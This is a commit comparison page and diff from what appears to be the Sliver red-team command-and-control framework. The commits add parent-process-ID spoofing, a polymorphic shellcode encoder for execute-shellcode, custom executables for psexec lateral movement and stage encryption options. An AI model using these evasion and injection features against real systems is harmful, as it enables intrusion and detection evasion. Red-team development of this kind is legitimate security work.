Compare commits

..
Author SHA1 Message Date
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
Joe e72cc7dcef Merge pull request #795 from BishopFox/feature/ppid-spoofing
Add PPID spoofing + custom process arguments for fork/exec commands
2022-08-23 14:39:56 -05:00
rkervella 709065a067 Cast to proper message 2022-08-23 11:41:05 -07:00
rkervella 99c23dc226 Only use token when specified 2022-08-23 11:18:43 -07:00
rkervella 8a278ce532 Add PPID spoofing + custom process arguments for fork/exec commands 2022-08-23 11:12:36 -07:00
Ronan Kervella 29755d7109 Merge pull request #792 from MrAle98/fix/namedpipe-pivots
Fix/namedpipe pivots
2022-08-22 08:25:35 -07:00
MrAle98 1d885c6083 fix 2022-08-19 22:49:04 +02:00
MrAle98 f85d0d64d8 fix 2022-08-19 22:49:03 +02:00
MrAle98 28e52e42b4 re-added debug option 2022-08-19 22:49:02 +02:00
MrAle98 8bfba5cb50 added delivery in chunks 2022-08-19 22:49:01 +02:00
Joe 6bb49e444b Merge pull request #787 from BishopFox/feature/stage-encryption
Fix stage encryption and add zlib compression option
2022-08-16 19:59:31 -05:00
moloch-- 205737f768 No compression by default 2022-08-16 17:21:33 -07:00
moloch-- f19c43f07b Added deflate9 compression option 2022-08-16 17:14:10 -07:00
moloch-- 81b8002ac0 Compress prior to encryption 2022-08-16 17:07:55 -07:00
moloch-- c5853a35fc Call the compression function 2022-08-16 17:06:40 -07:00
moloch-- 98f55c8432 Make compression configurable 2022-08-16 17:06:00 -07:00
rkervella 34f60a7b1a Fix stage encryption and add zlib compression option 2022-08-16 15:22:53 -07:00
Joe 9987f377a2 Merge pull request #786 from BishopFox/fix/profiles-beacon-name
Add missing `--name` flag for beacon profiles
2022-08-12 18:29:58 -05:00
rkervella 9852f03ebb Add missing --name flag for beacon profiles 2022-08-11 09:41:26 -07:00
Ronan Kervella ce95f86f38 Merge pull request #784 from BishopFox/fix/donwload
Fix `donwload` for folders in beacon mode
2022-08-10 14:06:47 -07:00
rkervella ae61aa032e Fix download command for folders in beacon mode 2022-08-10 11:34:44 -07:00
Ronan Kervella cec867426f Merge pull request #782 from BishopFox/go/v1.18.5
go version 1.18.5
2022-08-10 08:08:28 -07:00
moloch-- 8479252975 force go version in workflows 2022-08-09 12:04:50 -07:00
moloch-- 4bfb38e52d go version 1.18.5 2022-08-09 11:58:12 -07:00
moloch-- aba4a140c3 add codeowners 2022-08-08 08:31:22 -07:00
Joe df4245c69b Merge pull request #776 from tothi/master
add recognition of SentinelOne security product to the ps cmd
2022-08-01 10:19:45 -05:00
TÓTH István 44578c32ed add recognition of SentinelOne security product to the ps cmd 2022-08-01 13:04:07 +02:00
Joe 07a53b8c75 Merge pull request #773 from tothi/master
windows sideload fix
2022-07-31 22:25:36 -05:00
TÓTH István e08f420606 fix longhelp for sideload 2022-07-31 20:41:10 +02:00
TÓTH István b19cfba921 regenerated protobuf files after adding a new option to sideload cmd 2022-07-31 20:37:27 +02:00
TÓTH István 3b821d19bd add unicode DLL argument passing option for sideload Donut generator 2022-07-31 14:48:29 +02:00
TÓTH István 4e8e254c0e fix DonutShellCodeFromPE call for Windows by passing through EntryPoint parameter 2022-07-31 14:21:07 +02:00
moloch-- d1cf55805a fix spelling mistake 2022-07-29 21:01:21 -07:00
Ronan Kervella 7d07f4c518 Merge pull request #770 from rwhitcroft/feature/psexec-custom-exe
allow custom executables with psexec
2022-07-29 11:08:44 -07:00
Rich Whitcroft 5d3cb883d9 allow custom executables with psexec 2022-07-28 21:41:52 -04:00
Ronan Kervella 29f816ef7e Merge pull request #767 from BishopFox/fix/sideload
Use session agnostic info in Donut call
2022-07-28 08:50:26 -07:00
moloch-- 3ec4c5129c Add example connection string to prelude connect 2022-07-27 15:12:42 -07:00
rkervella 2840e6ed9a Use session agnostic info in Donut call 2022-07-27 14:39:01 -07:00
moloch-- fee6ee8f2d Avoid closing nil tunnel readers #749 2022-07-25 19:36:14 -07:00
moloch-- a1d3cbd0da Add instructions to shell cmd 2022-07-25 19:31:41 -07:00
Joe 4a17490592 Merge pull request #762 from BishopFox/offline-builds
Offline builds
2022-07-25 21:08:07 -05:00
moloch-- e1d7208164 Default to GOPROXY=off 2022-07-25 16:40:05 -07:00
moloch-- 7476a3dbc5 Merge branch 'capnspacehook-easier-offline-implant-builds' into offline-builds 2022-07-25 16:36:20 -07:00
Andrew LeFevre 09a97fbbf4 force implant building tests to run offline, document the need to keep the implant vendor dir updated 2022-07-23 17:27:55 -04:00
Andrew LeFevre 8c8dd280fb create vendor dir for implants and script to update it 2022-07-23 15:31:14 -04:00
Ronan Kervella d94c596a1e Merge pull request #760 from BishopFox/fix/loot-nil-deref
Check for nil pointer before using loot.File
2022-07-22 11:51:17 -07:00
rkervella 57fe465f10 Check for nil pointer before using loot.File 2022-07-22 11:01:10 -07:00
Joe f2da77100f Merge pull request #757 from BishopFox/dependabot/bundler/docs/tzinfo-1.2.10
Bump tzinfo from 1.2.9 to 1.2.10 in /docs
2022-07-22 08:05:21 -05:00
dependabot[bot] 7b5ff4790d Bump tzinfo from 1.2.9 to 1.2.10 in /docs
Bumps [tzinfo](https://github.com/tzinfo/tzinfo) from 1.2.9 to 1.2.10.
- [Release notes](https://github.com/tzinfo/tzinfo/releases)
- [Changelog](https://github.com/tzinfo/tzinfo/blob/master/CHANGES.md)
- [Commits](https://github.com/tzinfo/tzinfo/compare/v1.2.9...v1.2.10)

---
updated-dependencies:
- dependency-name: tzinfo
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-07-22 09:13:08 +00:00
Joe 5292f43cd2 Merge pull request #752 from timwr/fix_751
fix #751, fix ps arch on x86 windows
2022-07-19 14:16:44 -05:00
timwr c4420424af fix #751, fix ps arch on x86 windows 2022-07-19 14:37:33 +07:00
moloch-- b0d6a9ba95 Fix build constraints for windows/arm 2022-07-18 20:06:10 -07:00
Joe c46e193153 Merge pull request #745 from timwr/add_ps_arch
fix #714, Add process Architecture to the ps command
2022-07-18 20:52:00 -05:00
Ronan Kervella 71dff0ff64 Merge pull request #748 from BishopFox/fix/missing-profile-flag
Add missing `name` flag to profiles command
2022-07-18 13:20:47 -07:00
rkervella e1b1132667 Add missing name flag to profiles command 2022-07-18 12:16:58 -07:00
timwr ac262a3620 fix #714, Add process Architecture to the ps command 2022-07-19 00:08:49 +07:00
moloch-- e6277fb55f skip nil tunnel readers 2022-07-17 19:16:16 -07:00
Ronan Kervella f7e8e65126 Merge pull request #744 from BishopFox/feature/vim-mode
Make vim mode configurable via client settings
2022-07-15 13:33:53 -07:00
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
1633 changed files with 458743 additions and 2281 deletions

No files matched your search

+2
View File
@@ -0,0 +1,2 @@
* @moloch--
* @rkervella
+2 -2
View File
@@ -17,7 +17,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: OS Packages
run: |
@@ -68,7 +68,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
+1 -1
View File
@@ -20,7 +20,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "^1.18"
go-version: "1.18.5"
- name: Checkout repository
uses: actions/checkout@v2
+2 -2
View File
@@ -23,7 +23,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: OS Packages
run: |
@@ -58,7 +58,7 @@ jobs:
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '1.18.5'
- name: Mingw
run: brew install mingw-w64
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.3
FROM golang:1.18.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+2
View File
@@ -35,6 +35,7 @@ type ClientSettings struct {
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
+2 -2
View File
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
+18 -9
View File
@@ -179,6 +179,8 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -272,6 +274,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
@@ -306,15 +309,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
@@ -350,6 +355,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
@@ -386,6 +393,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
+1 -1
View File
@@ -56,7 +56,7 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// AmoryBundle - A list of packages
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
+47 -3
View File
@@ -69,6 +69,7 @@ import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
@@ -478,7 +479,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -985,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Shellcode Encoders ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ShikataGaNai,
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
Args: func(a *grumble.Args) {
a.String("shellcode", "binary shellcode file path")
},
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save output to local file")
f.String("a", "arch", "amd64", "architecture of shellcode")
f.Int("i", "iterations", 1, "number of iterations")
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sgn.ShikataGaNaiCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Exec ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -1000,6 +1029,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1033,6 +1063,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1063,6 +1095,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1076,10 +1111,13 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1108,6 +1146,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the DLL file")
@@ -1196,6 +1236,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("d", "service-description", "Sliver implant", "description of the service")
f.String("p", "profile", "", "profile to use for service binary")
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1458,6 +1499,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -1520,6 +1562,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -1799,6 +1842,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
f.Bool("r", "recurse", false, "recursively download all files in a directory")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -2483,7 +2527,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Bool("a", "allow-all", false, "allow all users to connect")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -3242,7 +3286,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
+12 -9
View File
@@ -57,6 +57,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
@@ -64,15 +65,17 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Int("ppid")),
})
ctrl <- true
<-ctrl
+32 -2
View File
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
RWXPages: rwxPages,
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
+11 -8
View File
@@ -47,6 +47,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,14 +62,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+39 -25
View File
@@ -21,6 +21,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"strings"
"time"
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := ioutil.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
+1
View File
@@ -61,6 +61,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
